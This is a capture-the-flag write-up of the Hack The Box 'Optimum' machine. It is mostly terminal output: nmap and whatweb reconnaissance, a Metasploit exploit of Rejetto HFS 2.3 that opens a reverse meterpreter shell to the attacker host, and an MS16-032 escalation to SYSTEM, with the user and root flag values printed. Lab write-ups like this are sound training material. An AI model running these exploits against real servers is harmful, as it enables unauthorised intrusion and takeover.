Optimum(完成)

```
└──# nmap -sCV 10.10.10.8 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-31 03:59 EDT
Nmap scan report for 10.10.10.8
Host is up (0.23s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 2012|8|Phone (89%)
OS CPE: cpe:/o:microsoft:windows_server_2012 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows
Aggressive OS guesses: Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows 8.1 Update 1 (85%), Microsoft Windows Phone 7.5 or 8.0 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   247.73 ms 10.10.14.1
2   247.98 ms 10.10.10.8

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.77 seconds
```

漏洞利用

```
┌──(root㉿kali)-[~/htb/Optimum/Rejetto-HTTP-File-Server-HFS-2.3.x——Remote-Command-Execution]
└─# whatweb http://10.10.10.8 -a3 -v
WhatWeb report for http://10.10.10.8
Status    : 200 OK
Title     : HFS /
IP        : 10.10.10.8
Country   : RESERVED, ZZ

Summary   : Cookies[HFS_SID], HTTPServer[HFS 2.3], HttpFileServer, JQuery[1.4.4], Script[text/javascript]

Detected Plugins:
[ Cookies ]
        Display the names of cookies in the HTTP headers. The
        values are not returned to save on space.

        String       : HFS_SID

[ HTTPServer ]
        HTTP server header string. This plugin also attempts to
        identify the operating system from the server header.

        String       : HFS 2.3 (from server string)

[ HttpFileServer ]
        You can use HFS (HTTP File Server) to send and receive
        files. Access your remote files, over the network.

        Google Dorks: (1)
        Website     : http://www.rejetto.com/hfs/

[ JQuery ]
        A fast, concise, JavaScript that simplifies how to traverse
        HTML documents, handle events, perform animations, and add
        AJAX.

        Version      : 1.4.4
        Website     : http://jquery.com/

[ Script ]
        This plugin detects instances of script HTML elements and
        returns the script language/type.

        String       : text/javascript

HTTP Headers:
        HTTP/1.1 200 OK
        Content-Type: text/html
        Content-Length: 1658
        Accept-Ranges: bytes
        Server: HFS 2.3
        Set-Cookie: HFS_SID=0.987134475726634; path=/;
        Cache-Control: no-cache, no-store, must-revalidate, max-age=-1
        Content-Encoding: gzip
```

```
msf6 > use rejetto

Matching Modules
================

   #  Name                                    Disclosure Date  Rank       Check  Description
   -  ----                                    ---------------  ----       -----  -----------
   0  exploit/windows/http/rejetto_hfs_exec   2014-09-11       excellent  Yes    Rejetto HttpFileServer Remote Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/rejetto_hfs_exec

[*] Using exploit/windows/http/rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS     10.10.10.8       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.14.3       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

成功

```
[-] Unknown command: id. Run the help command for more details.
meterpreter > dir
Listing: C:\Users\kostas\Desktop
================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
040777/rwxrwxrwx  0       dir   2024-04-06 13:40:56 -0400  %TEMP%
100666/rw-rw-rw-  282     fil   2017-03-18 07:57:16 -0400  desktop.ini
100777/rwxrwxrwx  760320  fil   2017-03-18 08:11:17 -0400  hfs.exe
100444/r--r--r--  34      fil   2024-04-06 12:55:55 -0400  user.txt

meterpreter > type user.txt
[-] Unknown command: type. Run the help command for more details.
```

user flag

```
meterpreter > shell
Process 2700 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is EE82-226D

 Directory of C:\Users\kostas\Desktop

06/04/2024  08:40 ••    <DIR>          .
06/04/2024  08:40 ••    <DIR>          ..
06/04/2024  08:40 ••    <DIR>          %TEMP%
18/03/2017  03:11 ••           760.320 hfs.exe
06/04/2024  07:55 ••                34 user.txt
               2 File(s)        760.354 bytes
               3 Dir(s)   5.674.274.816 bytes free

C:\Users\kostas\Desktop>type user.txt
type user.txt
681047695df48313095090021bac1ec1
```

```
C:\Users>systeminfo
systeminfo

Host Name:                 OPTIMUM
OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00252-70000-00000-AA535
Original Install Date:     18/3/2017, 1:51:36 ��
System Boot Time:          6/4/2024, 7:55:03 ��
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel
~2295 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
```

```
Input Locale:                   en-us;English (United States)
Time Zone:                      (UTC+02:00) Athens, Bucharest
Total Physical Memory:          4.095 MB
Available Physical Memory:      3.547 MB
Virtual Memory: Max Size:       5.503 MB
Virtual Memory: Available:      5.000 MB
Virtual Memory: In Use:         503 MB
Page File Location(s):          C:\pagefile.sys
Domain:                         HTB
Logon Server:                   \\OPTIMUM
Hotfix(s):                      31 Hotfix(s) Installed.
                                [01]: KB2959936
                                [02]: KB2896496
                                [03]: KB2919355
                                [04]: KB2920189
                                [05]: KB2928120
                                [06]: KB2931358
                                [07]: KB2931366
                                [08]: KB2933826
                                [09]: KB2938772
                                [10]: KB2949621
                                [11]: KB2954879
                                [12]: KB2958262
                                [13]: KB2958263
                                [14]: KB2961072
                                [15]: KB2965500
                                [16]: KB2966407
                                [17]: KB2967917
                                [18]: KB2971203
                                [19]: KB2971850
                                [20]: KB2973351
                                [21]: KB2973448
                                [22]: KB2975061
                                [23]: KB2976627
                                [24]: KB2977629
                                [25]: KB2981580
                                [26]: KB2987107
                                [27]: KB2989647
                                [28]: KB2998527
                                [29]: KB3000850
                                [30]: KB3003057
                                [31]: KB3014442
Network Card(s):                1 NIC(s) Installed.
```

```
                                   [01]: Intel(R) 82574L Gigabit Network Connection
                                         Connection Name: Ethernet0
                                         DHCP Enabled:    No
                                         IP address(es)
                                         [01]: 10.10.10.8
Hyper-V Requirements:      A hypervisor has been detected. Features required for
Hyper-V will not be displayed.
```

漏洞MS16-032(Windows Server 2012 R2)

https://www.exploit-db.com/exploits/39719

```
Background session 1? [y/N]
msf6 exploit(windows/http/rejetto_hfs_exec) > use MS16-032

Matching Modules
================

   #  Name                                                      Disclosure Date  Rank    Check  Description
   -  ----                                                      ---------------  ----    -----  -----------
   0  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  2016-03-21       normal  Yes    MS16-032 Secondary Logon Handle Privilege Escalation
   1    \_ target: Windows x86                                  .                .       .      .
   2    \_ target: Windows x64                                  .                .       .      .

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > show options

Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.200.130  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST 10.10.14.3
LHOST => 10.10.14.3
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > run

[-] Msf::OptionValidateError One or more options failed to validate: SESSION.
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > exploit

[*] Started reverse TCP handler on 10.10.14.3:4444
[+] Compressed size: 1160
[*] Sending stage (176198 bytes) to 10.10.10.8
[*] Meterpreter session 2 opened (10.10.14.3:4444 -> 10.10.10.8:49176) at 2024-03-31 05:28:20 -0400
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\KsftWjUBl.ps1 ...
[*] Compressing script contents ...
[+] Compressed size: 3755
[*] Executing exploit script ...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

root flag

```
meterpreter > type root.txt
[-] Unknown command: type. Run the he
meterpreter > cat root.txt
abb9676ecc742813670c8bc3380a0d06
```